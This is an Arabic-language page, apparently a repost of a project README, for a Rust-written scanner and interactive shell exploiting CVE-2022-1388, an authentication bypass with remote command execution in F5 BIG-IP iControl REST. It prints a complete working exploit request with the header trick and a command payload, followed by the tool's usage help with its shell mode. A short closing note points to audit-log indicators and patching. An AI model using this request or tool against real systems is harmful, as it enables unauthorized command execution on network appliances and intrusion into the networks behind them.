
CVE-2022-1388 F5 BIG-IP iControl REST تجاوز المصادقة وتنفيذ الأوامر عن بُعد (RCE) مكتوب بلغة Rust
ماسح ضوئي وقشرة تفاعلية لثغرة CVE-2022-1388 في F5 BIG-IP iControl REST لتجاوز المصادقة وتنفيذ الأوامر عن بُعد، مكتوب بلغة Rust
للتلخيص، فيما يلي نظرة عامة على الشروط اللازمة لطلب استغلال هذه الثغرة:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
"command":"run",
"utilCmdArgs":"-c id"
}
$ cve_2022_1308_rs -h
CVE-2022-1388 PoC 1.0
Petruknisme <[email protected]>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust
USAGE:
cve_2022_1388_rs [OPTIONS] --url <URL>
OPTIONS:
-h, --help Print help information
-s, --shell This mode for accessing payload with interactive shell
-u, --url <URL> F5 Big-IP target url
-V, --version Print version information
يمكن العثور على مؤشرات الاختراق في ملف السجل /var/log/audit. الأوامر غير المعروفة التي يتم تنفيذها عبر نقطة النهاية mgmt/tm/util/bash يجب أن تكون مدعاة للقلق.
قم بالتحديث إلى أحدث إصدار أو خفّف من المخاطر باتباع التعليمات الواردة في نشرة F5 الأمنية